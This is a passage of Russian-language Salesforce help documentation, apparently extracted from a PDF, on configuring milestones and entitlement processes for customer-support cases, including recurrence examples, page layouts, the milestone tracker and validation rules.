точкикритериямобращения.

Для последующих
выполнений параметры
имеютследующиезначения.

контрольной точки
критериям обращения.

Прим.:
Одновременноможет
быть активен только
один экземпляр • Дата начала — это время

наступленияпоследовательной
повторяемой
контрольной точки.

соответствия критериев
контрольной точки
критериям обращения,
если эта дата следует за
целевой датой
предыдущего
экземпляра.

• При досрочном
выполнении экземпляра
и повторном
наступлении
соответствия критериев
контрольной точки
критериям обращения
следующий экземпляр
выполняется согласно
значениюполя «Целевая
дата» предыдущего
экземпляра.

• При несвоевременном
выполнении экземпляра
поле «Дата начала»
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ПримерыОпределение даты началаЗначениеТип повторения

следующего экземпляра
будет содержатьтекущее
время наступления
соответствия критериев
контрольной точки
критериям обращения.

Пример:

Тип «Без повторения»
Контрольная точка «Время принятия решения» устанавливается, чтобы обеспечить принятие решения по
обращению в течение 4 часов. Для контрольной точки установлен один критерий: Обращение: Статус РАВЕН
Новое, В работе, Расширено.

Пример использования данной контрольной точки.

1. В 10:00 создано обращение со статусом «Новое», при этомнаступило соответствие критериев контрольной
точки критериям обращения.

2. Автоматически создается контрольная точка «Время принятия решения» со следующими параметрами:

• Дата начала = 10:00 (текущее время)

• Целевая дата = 14:00 (4 часа после даты начала)

3. В 13:00 агентслужбыподдержкирешаетвопросклиентаизакрываетобращение. Контрольнаяточкаотмечается
как завершенная.

Независимо
Контрольная точка «Предложенное инженером решение» устанавливается для того, чтобы отслеживать
расширениеобращенийдоинженернойгруппы. Привыполненииконтрольнойточкиагент службыподдержки
может ожидать решения, предложенного инженерной группой, в течение 4 часов. Для контрольной точки
установлен один критерий: «Обращение: Статус РАВЕН Ожидание решения инженера»  (настраиваемый статус).

Пример использования данной контрольной точки.

1. В 10:00 агент службы поддержки расширяет обращение до инженерной группы, при этом наступает
соответствие критериев контрольной точки критериям обращения.

2. Автоматическисоздаетсяэкземплярконтрольнойточки «Предложенноеинженеромрешение» соследующими
параметрами:

• Дата начала = 10:00 (текущее время)

• Целевая дата = 14:00 (4 часа после даты начала)

3. Инженерпредлагает решение в 11:00, то есть задолго до наступленияцелевой даты. Предложенное решение
отправляется клиенту, а контрольная точка отмечается как завершенная вручную или посредством
бизнес-правила.

Еслипредложенноерешениедействует, повторениеконтрольнойточки «Предложенноеинженеромрешение»
для обращенияможет не произойти. Еслиже проблема клиента не решена, будет создан следующий экземпляр
контрольной точки.
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1. В 13:00 агент службыподдержкиповторнорасширяетобращениедоинженернойгруппы, приэтомнаступает
соответствие критериев контрольной точки критериям обращения.

2. Автоматически создается второй экземпляр контрольной точки «Предложенное инженером решение» со
следующими параметрами:

• Дата начала = 13:00 (текущее время)

• Целевая дата = 17:00 (4 часа после даты начала)

Теперь для обращения имеется две контрольные точки «Предложенное инженером решение».

• Завершенная контрольная точка со временем начала «10:00».

• И незавершенная контрольная точка со временем начала «13:00» и временем окончания «17:00».

Контрольная точка может повторяться любое необходимое количество раз до завершения процесса права.

Последовательно
Контрольная точка «Предпринятый контакт с клиентом» устанавливается для отслеживания ежедневного
взаимодействия с клиентом в рамках Соглашения об уровне обслуживания. При выполнении контрольной
точки агенту службы поддержки предоставляется 24 часа для взаимодействия с клиентом.

Пример использования данной контрольной точки.

1. В 10:00 понедельникаорганизациясоздаетобращение, процессправа которойвключаетконтрольнуюточку
«Предпринятый контакт с клиентом». Для контрольной точки определены следующие параметры.

• Дата начала = 10:00 понедельника (текущее время)

• Целевая дата = 10:00 вторника (24 часа после даты начала)

2. В 11:00 понедельника агент службы поддержки взаимодействует с клиентом. Это означает, что контрольная
точка отмечается как завершенная и создается второй экземпляр контрольной точки. Тем не менее, полю
«Дата начала» данного экземпляра назначается время 10:00 вторника, поскольку целевое время предыдущего
экземпляра еще не истекло.

Теперь для обращения имеются две контрольные точки «Предпринятый контакт с клиентом».

• Завершенная контрольная точка со временем начала «10:00 понедельника».

• И незавершенная контрольная точка со временем начала «10:00 вторника» и временем окончания «10:00
среды».

Повторное взаимодействие агента службы поддержки с клиентом в понедельник не влияет на контрольную
точку вторника.

СМ. ТАКЖЕ:

Процессы права

Добавление контрольной точки в процесс права
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Настройка контрольных точек

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Контрольные точки представляют необходимые этапы процесса управления
обращениями (например, время отправки первого ответа). Определите и настройте
контрольные точки для организации. Данные точкиможнодобавлять в процессыправа
и применять к обращениям.

1. Настройка макетов страниц контрольных точек
Контрольные точки отображаются в связанном списке «Контрольные точки
обращения». Рекомендуется настроить макеты страниц обращений и контрольных
точек, чтобы агенты службы поддержки и руководители отслеживали работу с
обращением.

2. Включение элементов ленты контрольной точки
Элементы ленты контрольной точки позволяют агентам службы поддержки
отслеживать действия над обращениями. Эта функция отправляет уведомление на ленту обращений и на страницу
профиля ответственного за обращение при завершении или нарушении контрольной точки.

3. Настройка средства отслеживания контрольных точек
Средство отслеживания контрольных точек используется для того, чтобы предоставить агентам службы поддержки
полное представление о предстоящих и закрытых контрольных точек, а также для отображения времени отсчета по
активнымипросроченнымконтрольнымточкам. Добавьте этосредствоналентуобращений, настраиваемуюстраницу
или сервисную консоль.

4. Ограничения для обновлений контрольных точек пользователями
Добавьте правила проверки, чтобы не позволить пользователям обновлять контрольные точки при несоблюдении
определенных критериев.

5. Создание контрольной точки
Контрольные точки представляют собой необходимые этапы процесса поддержки (например, «Время принятия
решения» или «Первый ответ»). Для организации можно создавать стандартные контрольные точки и добавлять их
к процессам права, чтобы применять различные уровни обслуживания для обращений.

6. Автоматическое выполнение контрольных точек обращения
Создайте триггер Apex, который автоматически отмечает контрольные точки как выполненные для обращений,
соответствующих уникальным критериям.

СМ. ТАКЖЕ:

Контрольные точки

Контрольный список для настройки функций управления правами
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Настройка макетов страниц контрольных точек

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования макетов
страниц:
• «Настройка

приложения»

Чтобы создать контрольные
точки, выполните указанные
ниже действия.
• «Управление правами»

И

«Настройка
приложения»

Для включения полей
«Время остановки» и
времени остановки и
«Фактическое затраченное
время»:
• «Управление правами»

Контрольныеточкиотображаютсявсвязанномсписке «Контрольныеточкиобращения».
Рекомендуется настроить макеты страниц обращений и контрольных точек, чтобы
агенты службы поддержки и руководители отслеживали работу с обращением.

1. Укажите поля, которые должны отображаться на странице сведений о контрольной
точке обращения.

ОписаниеПоле

Время, затраченное на выполнение
контрольной точки.

(Затраченноевремя) – (Времяостановки)
= (Фактическое затраченное время)

Фактическое затраченное время

Прим.: Дляотображенияданного
поля следует отметить параметр
«Включить время остановки и
фактическое затраченное
время» на странице «Параметры
права».

Значок ( ), обозначающий
выполненную контрольную точку.

Завершено

Дата и время завершения контрольной
точки.

Дата завершения

Время, затраченное на выполнение
контрольной точки. Это время
определяется автоматически с учетом
всех часов работы по данному
обращению. Значение поля
«Затраченноевремя» вычисляетсятолько
после заполнения поля «Дата
завершения».

Затраченное время

Процесс права, используемый для
обращения. Процессы права являются
необязательными.

Процесс права

Дата и время начала отслеживания
контрольной точки.

Дата начала

Время, в течение которого агент не имел
возможности завершить контрольную

Время остановки

точку. Например, агент может
дожидатьсяответаклиента, содержащего
дополнительную информацию.

Прим.: Параметр «Включить
времяостановкиифактическое
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ОписаниеПоле

затраченноевремя» следуетвыбратьнастранице
«Параметры права».

Датаи время, к которымвыполнение контрольнойточки
должно быть завершено.

Целевая дата

Время, к которому выполнение контрольной точки
должно быть завершено. Это время определяется

Целевой ответ

автоматически с учетом всех часов работы по данному
обращению.

Время, оставшееся до нарушения контрольной точки.
Этовремяопределяетсяавтоматическисучетомвсехчасов
работы по данному обращению.

Оставшееся время

Время, прошедшеепосленарушенияконтрольнойточки.
Этовремяопределяетсяавтоматическисучетомвсехчасов
работы по данному обращению.

Время после целевого ответа

Значок ( ), обозначающийнарушеннуюконтрольную
точку.

Нарушение

2. Добавьте элементы контрольной точки в макеты страниц обращения.

a. Добавьте поле «Статус контрольной точки» для отображения статуса контрольной точки по обращению.

b. Добавьте поле «Значок статуса контрольной точки» для отображения одного из указанных ниже значков.

•  «Совместимо»

•  «Открыто с нарушением»

•  «Закрыто с нарушением»

c. Добавление связанного списка «Контрольные точки обращения».

2979

Настройка контрольных точекНастройка и обслуживание инструментов службы поддержки



Включение элементов ленты контрольной точки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения элементов
ленты контрольной точки:
• «Управление правами»

Элементылентыконтрольнойточкипозволяютагентамслужбыподдержкиотслеживать
действия над обращениями. Этафункция отправляет уведомлениена ленту обращений
и на страницу профиля ответственного за обращение при завершенииили нарушении
контрольной точки.

Важное замечание:

• Ворганизациидолжныбыть включеныфункции Chatter иуправлениеправами.

• Включение элементов ленты контрольной точки не инициирует создание
элементов ленты для контрольных точек, которые уже выполнены или
нарушены.

• Есликсообществудобавляетсяфункцияуправленияправами, топривключении
элементовлентыконтрольныхточекпользователисообщества такжеполучают
к ним доступ.

1. Введите строку «Параметры права» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите пункт «Параметры права».

2. Установите флажок «Включить элементы ленты контрольной точки».
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Настройка средства отслеживания контрольных точек

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования макетов
страниц:
• «Настройка

приложения»

Для назначения макетов
страниц:
• «Управление

пользователями»

Для настройки отображения
времени в средстве
отслеживания контрольных
точек:
• «Управление правами»

Средство отслеживания контрольных точек используется для того, чтобыпредоставить
агентам службы поддержки полное представление о предстоящих и закрытых
контрольных точек, а также для отображения времени отсчета по активным и
просроченным контрольным точкам. Добавьте это средство на ленту обращений,
настраиваемую страницу или сервисную консоль.

Какправило, производительностьагентовслужбыподдержкиоцениваетсяпоколичеству
пропущенных контрольных точек. Средство отслеживания контрольных точек
предоставляет агентамвозможностьподготовиться кнаступлениюконтрольныхсроков
на основании следующей информации.

• Время, остающеесядонаступления «Целевойдаты» для активнойконтрольнойточки

• Время, прошедшее после просроченной «Целевой даты» для контрольной точки

• Список предстоящих контрольных точек

• Список предстоящих контрольных точек

Выполняемая контрольная точкаотображается в виде зеленогокруга. Помереистечения
времени круг постепенно исчезает по часовой стрелке. Оставшееся время указано в
центре круга. Поистечениивременивыполненияконтрольнойточкикруготображается
красным цветом. Время просрочки контрольной точки отображается по центру круга.

Если до завершения контрольной точки остается более 24 часов, отсчет времени отображается в днях (например, 1 д.).
Если остается менее 24 часов, формат отсчета времени изменяется на «часы/минуты/секунды».

1. Отображение средства отслеживания контрольных точек для агентов службы поддержки.

Выполните одно из указанных ниже действий.

• Добавление на ленту обращений.

a. Откройте страницу «Макеты страниц» посредством параметров управления обращениями.
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b. Нажмите кнопку «Правка»напротивнужногомакета в разделе «Обращение: макеты страниц», затемнажмите
«Представление ленты» в редакторе макетов страниц.

c. Выберите компонент «Средство отслеживания контрольных точек» в разделе «Другие инструменты и
компоненты» и определите область его отображения на странице.

d. Нажмите кнопку «Сохранить».

• Добавление на настраиваемую страницу Visualforce посредством компонента <apex:milestoneTracker>.

• Добавление на сервисную консоль в качестве компонента.

2. Настройка способа отображения оставшегося времени или времени просрочки для контрольных точек
средством отслеживания контрольных точек.

По умолчанию отображается фактическое время в часах. Чтобы настроить отображение оставшегося времени или
времени просрочки в пределах рабочего времени, выполните следующие действия.

a. Введите строку «Параметры права» в поле «Быстрый поиск» меню «Настройка» и выберите пункт «Параметры
права».

b. Снимите флажок «Показать оставшеесяфактическое время (не часы работы)» в разделе «Средство
отслеживания контрольных точек».

c. Нажмите кнопку «Сохранить».

Пример: Предполагается, что рабочее время для активных контрольных точек установлено с 9:00 до 17:00. Сейчас
16:30 и целевая дата для контрольной точки установлена на 11:00 завтрашнего дня.

• Если средство отслеживания контрольных точек отображает время в часах работы (параметр, заданный по
умолчанию), будет отображаться 2 часа и 30 минут (с 16:30 до 17:00 сегодняшнего и с 9 до 11:00 завтрашнего дня).

• Если средство отслеживания контрольных точек отображает время вфактических часах, будет отображаться
18 часов и 30 минут (с 16:30 сегодняшнего до 11:00 завтрашнего дня).
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Ограничения для обновлений контрольных точек пользователями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения или
изменения правил проверки
полей:
• «Настройка

приложения»

Для создания или
редактирования
контрольных точек:
• «Управление правами»

Добавьтеправилапроверки, чтобынепозволитьпользователямобновлятьконтрольные
точки при несоблюдении определенных критериев.

1. Перейдите к правилам проверки в разделе параметров управления объектом для
контрольных точек обращения.

2. Нажмите кнопку «Создать».

3. Введите сведения о правиле.

4. Сохраните внесенные изменения.

Пример: Данное правило проверки не позволяет пользователям выбирать даты
выполнения контрольных точек, предшествующие дате создания обращения.

ЗначениеПоле

milestone_completion_dateИмя правила

Дата выполнения контрольной точки
должна следовать после даты создания
обращения.

Описание

CompletionDate <
Case.CreatedDate

Формула ошибочного условия

Ошибка: Дата выполнения контрольной
точки должна следовать после даты
создания обращения.

Сообщение об ошибке

Вверху страницыРасположение ошибки
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Создание контрольной точки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы создать контрольные
точки, выполните указанные
ниже действия.
• «Управление правами»

И

«Настройка
приложения»

Контрольные точки представляют собой необходимые этапы процесса поддержки
(например, «Время принятия решения» или «Первый ответ»). Для организации можно
создавать стандартные контрольные точки и добавлять их к процессам права, чтобы
применять различные уровни обслуживания для обращений.

Чтобысоздатьконтрольнуюточку, выполнитеследующиедействия. Просмотреть
обзор: Создание контрольной точки

1. Введите строку «Контрольные точки» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Контрольные точки» в разделе «Управление правами».

2. Нажмите кнопку «Создать контрольную точку».

3. Введите имя и описание. Присвойте имена контрольным точкам в соответствии с
типовыми задачами поддержки (например, «Время отправки первого ответа» или
«Время принятия решения»). Описательное имя дает пользователям общее
представление о контрольных точках при просмотре обращений или процессов
права.

4. Выберите нужный тип повторения.

ПримерОписаниеТип повторения

«Первый ответ»

«Время принятия
решения»

Контрольная точка
выполняется по
обращению только один
раз.

Без повторения

«Время ответа»Контрольная точка
выполняется при каждом

Независимо

соответствии критериев
контрольной точки
критериям обращения.

«Предпринятый контакт с
клиентом»

Контрольная точка
выполняется повторно при
каждом соответствии

Последовательно

критериев контрольной
точки критериям
обращения.

5. Нажмите кнопку «Сохранить».

Контрольные точки не могут применяться к обращению самостоятельно; они должны составлять часть процесса права.
Поэтому после создания контрольной точки ее следует добавить к процессу права.
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Совет: Чтобысохранять только теобновленныеконтрольныеточкиобращения, которые соответствуютуказанным
критериям, добавьте правила проверки в контрольные точки обращения. Подробные сведения см. в разделе
«Ограничения для обновлений контрольных точек пользователями».

СМ. ТАКЖЕ:

Типы повторения контрольных точек

Автоматическое выполнение контрольных точек обращения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения триггеров
Apex:
• «Автор Apex»

Создайте триггер Apex, который автоматически отмечает контрольные точки как
выполненные для обращений, соответствующих уникальным критериям.

В параметрах триггера определите события и соответствующие критерии обращения,
которые должны быть соблюдены для выполнения контрольной точки.

В разделе «Автоматическое выполнение контрольных точек обращения посредством
триггеров» представлены два примера триггеров, отмечающих контрольные точки
«Первый ответ» как выполненные при соблюдении указанных условий.

• Контакту обращения отправлено сообщение эл. почты (первый триггер)

• Ответственныйзаобращениедобавляетобщедоступныйкомментарийкобращению
(второй триггер)

Вразделе «Автоматическоевыполнениеконтрольныхточек временипринятиярешения
посредством триггеров» представлен пример триггера, который отмечает контрольные
точки «Время принятия решения» как выполненные, если обращение закрыто.

Процессы права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Процессправа — этовременнаяшкала, содержащаявсе этапы (иликонтрольныеточки),
которые должны быть выполнены службой поддержки для принятия решения по
обращению. Каждыйпроцессиспользуетлогику, необходимуюдляопределенияспособа
применения соответствующего уровня обслуживания клиентов.

Процессы права требуются не для всех прав. Например, задано определение, согласно
которомуклиентимеетправонаподдержкупотелефону, котораядолжнаосуществляться
круглосуточно. Чтобыдополнить этоопределениедругимисведениями, воспользуйтесь
процессомправа. Например, сообщениеэл. почтыможетбытьотправленоопределенным
пользователямв томслучае, еслипроблемаклиентанебыларешенав течениедвухчасов.

Можно создать до 1000 процессов права и до 10 контрольных точек на процесс. В
организации, созданной до выпуска Summer ’13, максимальное число процессов права
может быть ниже, однако у компании Salesforce можно запросить увеличение их
количества.

Чтобыпросмотреть или отменить активные процессыправа, введите строку «Процессы права» в поле «Быстрый поиск»
вменю «Настройка» ивыберитепункт«Процессыправа». Чтобыпросмотретьилиотменитьактивныедействияпроцесса
права, воспользуйтесь очередью процессов права.
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Совет: Функция управления версиями процесса права позволяет изменять текущие процессы права, несмотря на
их назначение активным правам и обращениям. Например, даннаяфункция может использоваться при изменении
бизнес-правил для процессов права или создании нескольких версий одного процесса права, имеющих только
незначительные различия.

СМ. ТАКЖЕ:

Настройка процесса права

Обновление процесса права

Движение обращения по процессу назначения права

Настройка процесса права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Процесс права — это временная шкала, содержащая все этапы (контрольные точки),
которые должны быть выполнены службой поддержки для принятия решения по
обращению. Настройте процесс права, чтобы применять его к правам в организации.

1. Создание процесса права
Процесс права создается для того, чтобы предоставить агентам службы поддержки
временнуюшкалус указаниемнеобходимыхдействий, которыетребуется выполнить
при работе с обращениями. Каждый процесс использует логику, необходимую для
определенияспособаприменениясоответствующегоуровняобслуживанияклиентов.

2. Настройка полей процессов права
Если в организации планируется использовать процессы права, необходимо
настроить макеты страниц, чтобы агенты службы поддержки могли просматривать
процессы права и управлять ими.

3. Добавление контрольной точки в процесс права
Добавление контрольных точек в процессы права выполняется для определения необходимых этапов процесса
поддержки.

4. Добавление действия контрольной точки в процесс права
Действия контрольной точки   это зависимые от времени действия бизнес-правила, которые выполняются на каждом
этапе (контрольная точка) процесса права. После того как создан процесс права и в него добавлены контрольные
точки, добавьте действия контрольных точек.

5. Применение процесса права к праву
Процессправасоздан, теперьпораегоприменить! Применяйтепроцессправакправуклиентатак, чтобывсеобращения,
созданные на основе права, использовали этот процесс.

СМ. ТАКЖЕ:

Контрольный список для настройки функций управления правами
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Создание процесса права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прав:
• «Чтение» для прав

Для изменения прав:
• «Редактирование» для

прав

Для создания и обновления
процессов права:
• «Управление правами»

Процесс права создается для того, чтобы предоставить агентам службы поддержки
временнуюшкалу с указанием необходимых действий, которые требуется выполнить
при работе с обращениями. Каждый процесс использует логику, необходимую для
определения способа применения соответствующего уровня обслуживания клиентов.

Прим.: До создания процесса права необходимо создать контрольные точки.

1. Введите строку «Процессы права» в поле «Быстрый поиск» в меню «Настройки»,
затем выберите пункт «Процессы права».

2. Нажмите кнопку «Создать процесс права».

3. Введите имя (например, «Стандартный процесс поддержки») и описание.

4. Чтобы включить процесс, выделите поле «Активно».

Совет: Рекомендуем сначала добавить действия контрольной точки, а потом
активировать процесс права. Действия контрольных точек не могут быть
обновленыилиудаленыпослеактивацииипримененияпроцессакобращению.

5. Если вы вы активировали функцию управления версиями права, вы можете
использовать версию по умолчанию. Для этого установите флажок «Версия по
умолчанию».

6. Выберите критерии входа и выхода обращений из процесса права.

Дополнительные
действия

ОписаниеПоле

НетНа основе даты
создания обращения

Выберите данный
параметр, еслиобращения

Обращение входит в
процесс

должнывходитьвпроцесс
при создании.

Да, отображение
раскрывающегося списка

На основе
настраиваемого поля

длявыборанастраиваемыхдаты и времени для
обращения

Выберите данный
параметр, если значение

даты и времени. Система
не позволяет выбирать
только настраиваемую
дату.настраиваемогополя даты

и времени должно
определять время входа
обращения в процесс.

НетНа основе времени
закрытия обращения

Выберите данный
параметр, еслиобращения

Обращение выходит из
процесса
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Дополнительные действияОписаниеПоле

должны выходить из процесса при
закрытии.

Да, выберитеодиниз указанныхниже
критериев.

На основе настраиваемых
критериев

Выберите данный параметр, если
обращения должны выходить из

• Выберите параметр «критерии
выполняются» и укажите

процесса при выполнении заданных
критериев.

критерии фильтрации, которым
должно соответствовать
обращение для выхода из
процесса. Например, фильтр
обращений «"Приоритет" равно
"Низкий"» инициируетвыходтех
обращений, поле «Приоритет»
которых содержит значение
«Низкий».

Выберите параметр «значение
формулы оценивается как
истинное» и введите формулу,
возвращающую значение
«Истина» или «Ложь». Если
формула возвращает значение
«Истина», то система Salesforce
инициируетвыполнениеправила.

• Выберите параметр «значение
формулы оценивается как
истинное» и введите формулу,
возвращающую значение
«Истина» или «Ложь». Если
формула возвращает значение
«Истина», то обращения выходят
из процесса. Например, формула
(Обращение: "Приоритет"
равно "Низкий") И
(Обращение: "Происхождение
обращения" равно "Эл.
почта", "Интернет")
инициирует выход обращений,
поле «Приоритет» которых
содержит значение «Низкий», а
поле «Происхождение
обращения» содержит значение
«Эл. почта» или «Интернет».
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7. При необходимости выберите часы работы, которые должны применяться к процессу права. Заданные здесь часы
работы позволяют вычислять значение поля «Целевая дата» для всех контрольных точек данного процесса права.
Дополнительную информацию см. в разделе «Действие параметра "Часы работы" в управлении правами».

8. Сохраните внесенные изменения.

Настройка полей процессов права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактированиямакетов
страниц:
• «Настройка

приложения»

Если ворганизациипланируетсяиспользоватьпроцессыправа, необходимонастроить
макетыстраниц, чтобыагентыслужбыподдержкимоглипросматриватьпроцессыправа
и управлять ими.

1. Добавьте эти поля в макеты страниц обращения.

ОписаниеПоле

Длительность обращения определяется
временем выполнения контрольных
точек процесса права. Чтобы
просмотреть сведения о любой
контрольной точке, щелкните нужную
контрольную точку или наведите на нее
указатель мыши. Контрольные точки
представлены следующими значками.

Временная шкала

•

Выполненная контрольная точка

•

Нарушенная контрольная точка

Чтобы просмотреть прошедшие и
предстоящие контрольные точки,

переместите значок руки ( ) вдоль
инструмента «Масштаб временной
шкалы». Данное поле отображается в
случае применения процесса права к
обращению.

Времявходаобращениявпроцессправа.
Время можно обновить или сбросить

Время начала процесса права

при наличии полномочия
«Редактирование» дляобращений. Ниже
перечислены действия, выполняемые
при сбросе времени.

• Закрытые или выполненные
контрольные точки не изменяются.
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ОписаниеПоле

• Невыполненные контрольные точки
пересчитываются на основе нового времени начала.

Время выхода обращения из процесса права.Время окончания процесса права

Позволяет остановить процесс права в обращении, что
может потребоваться при ожидании ответа клиента.

Остановлено

Данноеполеотображаетдатуивремяостановкипроцесса
права, выполняемого для обращения.

Дата остановки

2. Сохраните внесенные изменения.

Добавление контрольной точки в процесс права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы добавить
контрольные точки в
процессы права, выполните
указанные ниже действия.
• «Управление правами»

Добавление контрольных точек в процессы права выполняется для определения
необходимых этапов процесса поддержки.

1. Введите строку «Процессы права» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Процессы права».

2. Щелкните имя нужного процесса права.

3. Щелкнитеимянужногопроцессаправаповторновсписке «Версиипроцессаправа».

4. Нажмите кнопку «Создать» в связанном списке «Контрольные точки».

5. Выберите контрольную точку.

6. Введитеколичествоминут, необходимоепользователямдлявыполненияконтрольной
точки, поистечениикоторогоинициируется выполнениедействия, вполе «Триггер
времени (в минутах)».

Чтобы разрешить динамическое вычисление триггера времени на основе типа
контрольной точки и свойств обращения, установите флажок «Включить класс
Apex для триггера времени (в минутах)».

Прим.: Выполнение данного действия возможно только при наличии
настраиваемого класса Apex, реализующего интерфейс Apex
Support.MilestoneTriggerTimeCalculator.

7. Привыборепараметра «Включитькласс Apex длятриггеравремени (вминутах)»
укажите класс Apex для вычисляемой динамически контрольной точки посредством поля поиска.

8. Выберите время выполнения контрольной точки.
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Условия использованияЦельПараметр

Поле контрольной точки «Целевая
дата» определяется временем

Вычисление поля «Целевая дата»
припримененииконтрольнойточки
к обращению (соответствие
критериям обращения).

Данный параметр может
соответствовать или не

Критерии контрольной точки

применения контрольной точки к
обращению (например,
переназначение обращения группе
разработчиков, если возникшая
ошибка рассматриваетсясоответствовать времени начала
сотрудникамислужбыподдержкикакпроцесса права, которым обычно

считается времясозданияобращения. неполадка). Контрольнаяточкаможет
быть применена в любое время и не
зависит от времени начала процесса
права (временнаяшкала). Рекомендуем
использовать, есликонтрольнаяточка
является повторяющейся.

Поле контрольной точки «Целевая
дата» определяется временем начала

Вычисление поля «Целевая дата»
при запуске процесса права (по
умолчанию при создании
обращения).

Процесс права

процесса права (временная шкала).
Например, поле «Целевая дата»,
отображающее время первого ответа
или принятия решения по
обращению, всегда вычисляется при
запуске процесса права.

9. Принеобходимостивыберитечасыработы, которыедолжныприменятьсякполю «Целеваядата» даннойконтрольной
точки. Если параметр «Часы работы по контрольной точке» не указан, система использует параметр «Часы работы
по процессу права». При отсутствии обоих параметров система использует часы работы по обращению.

10. Определитепорядокобработкиконтрольныхточек, еслиобращениесоответствуеткритериямнесколькихконтрольных
точек процесса права. Выполните данное действие при наличии похожих контрольных точек (например, первый
ответ и первый ответ с обращением, поле «Приоритет» которого содержит значение «Высокий»).

Одновременно обращения могут соответствовать только одной контрольной точке процесса права.

11. Введите критерии, которым должно соответствовать обращение для применения контрольной точки.

• Выберите значение «критерии выполняются» иукажитекритериифильтрации, которымдолжносоответствовать
обращениедляпримененияконтрольнойточки. Например, фильтр «"Приоритет" равно "Высокий"» инициирует
применение контрольной точки к обращениям, поле «Приоритет» которых содержит значение «Высокий».

Выберите параметр «значение формулы оценивается как истинное» и введите формулу, возвращающую
значение «Истина» или «Ложь». Если формула возвращает значение «Истина», то система Salesforce инициирует
выполнение правила.

• Выберите параметр «значение формулы оценивается как истинное» и введите формулу, возвращающую
значение «Истина» или «Ложь». Еслиформулавозвращает значение «Истина», токонтрольнаяточкаприменяется
к обращениям. Например, формула (Обращение: "Приоритет" равно "Высокий") И (Обращение:
"Происхождение обращения" равно "Эл. почта", "Интернет") применяетконтрольнуюточкукобращениям,
поле «Приоритет» которых содержит значение «Высокий», а поле «Происхождение обращения» содержит
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значение «Эл. почта» или «Интернет». Не допускается использование поля «Ответственный за обращение» в
формулах.

12. Нажмите кнопку «Сохранить».

Прим.: Контрольные точки измеряются в минутах и секундах, однако время начала и окончания измеряется с
точностьюдооднойминуты. Например, есликонтрольная точка сработала в 11:10:40, а для выполненияконтрольной
точки отведено 10 минут, то конечное время контрольной точки составляет 11:20:00, а не 11:20:40. Поэтому время,
оставшееся для выполнения контрольной точки агентом, составляет 9 минут и 20 секунд, а не 10 полных минут.

СМ. ТАКЖЕ:

Статус контрольной точки

Действия контрольных точек

Добавление действия контрольной точки в процесс права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы добавить действия
контрольных точек в
процессы права, выполните
указанные ниже действия.
• «Управление правами»

И

«Настройка
приложения»

Действия контрольной точки   это зависимые от времени действия бизнес-правила,
которые выполняются на каждом этапе (контрольная точка) процесса права. После того
как создан процесс права и в него добавлены контрольные точки, добавьте действия
контрольных точек.

1. Введите строку «Процессы права» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Процессы права».

2. Щелкните имя нужного процесса права.

3. Щелкнитеимянужнойконтрольнойточкивсвязанномсписке «Контрольныеточки».

4. Чтобы добавить действие предупреждения или нарушения, рекомендуем сначала
добавить триггер времени. После добавления триггера появится возможность
добавления действия бизнес-правила. Для действий успешного завершения
используется триггер времени.

Совет: Чтобыдействиенарушениясрабатывалонемедленнопосленарушения
контрольной точки, установите значение «0 мин.» для триггера времени.

5. Нажмите кнопку «Добавить действие бизнес-правила» и выберите вариант
действия.

ПримерВыполняемыефункцииДействие
бизнес-правила

Создание задачи для
агентаслужбыподдержки,
который должен

Создание задачи
бизнес-правила

Создать задачу

позвонить клиенту при
нарушении контрольной
точки «Первый ответ».

Уведомление
ответственных за

Создание электронного
